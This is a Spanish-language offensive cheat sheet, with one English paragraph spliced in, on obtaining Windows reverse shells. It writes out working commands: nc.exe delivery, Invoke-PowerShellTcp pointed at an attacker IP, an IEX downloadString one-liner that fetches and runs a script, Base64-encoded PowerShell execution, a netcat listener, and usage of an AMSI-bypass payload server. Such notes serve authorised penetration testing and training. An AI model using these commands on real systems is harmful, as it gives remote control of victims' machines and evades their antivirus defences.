Desde nuestro equipo atacante, deberemos de disponer del binario nc.exe. Lo compartiremos al equipo víctima a través de un servidor web o SMB. Una vez subido el binario en una ruta, nos otorgaremos una Reverse Shell con nc.exe.
También podemos disponer del binario de nc.exe en nuestro servidor SMB y ejecutar el binario para otorgarnos una Reverse Shell accediendo al mismo recuso compartido desde el equipo víctima.
# Renombrar el archivo a 'rev.ps1', y añadir al final del archivo la siguiente línea
Invoke-PowerShellTcp -Reverse -IPAddress <ATTACKER_IP> -Port 443
# Nos ponemos en escucha por el puerto indicado.
rlwrap -cAr nc -nlvp 443
# Compartimos el archivo a través de un servidor web.
python3 -m http.server 80
# Para mayor seguridad, codificamos desde Kali el comando que deberá ejecutar la víctima en Base64 de Windows.
echo 'IEX(New-Object Net.WebClient).downloadString("http://<ATTACKER_IP>/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo
# Desde el equipo de la víctima, se ejecuta el siguiente comando con el código en Base64 generado.
powershell -e <BASE64_CODE>
RevShells
Desde la siguiente página, podemos generar diferentes tipos de Reverse Shell. El más recomendado en el caso de Windows, es el de PowerShell Base64.
Estableceremos nuestra dirección IP y el puerto donde estaremos en escucha. Del resultado generado, es el comando que deberá ejecutar la víctima.
Proceso para ejecutar la Reverse Shell de revshells.
# Desde la máquina atacante en Kali nos ponemos en escucha
rlwrap -cAr nc -nlvp 443
# Desde la máquina víctima ejecutamos la Reverse Shell
powershell -e <BASE64_CODE>
This option will create a payload file, by default named revshell.ps1 (which is the obfuscated payload from revshell command written into a file), and expose it into a temporal HTTP server (by default on port 8000, which can be changed as well). The script will then generate an encoded payload that will request the file to the temporal server, executes it and triggers the reverse shell.
Usage
python3 BypassAMSI_PSRevshell.py server -i <Attacker-IP> -p <listening-port>
For example:
❯ python3 BypassAMSI_PSRevshell.py server -i 10.10.10.10 -p 4444 --server-port 9000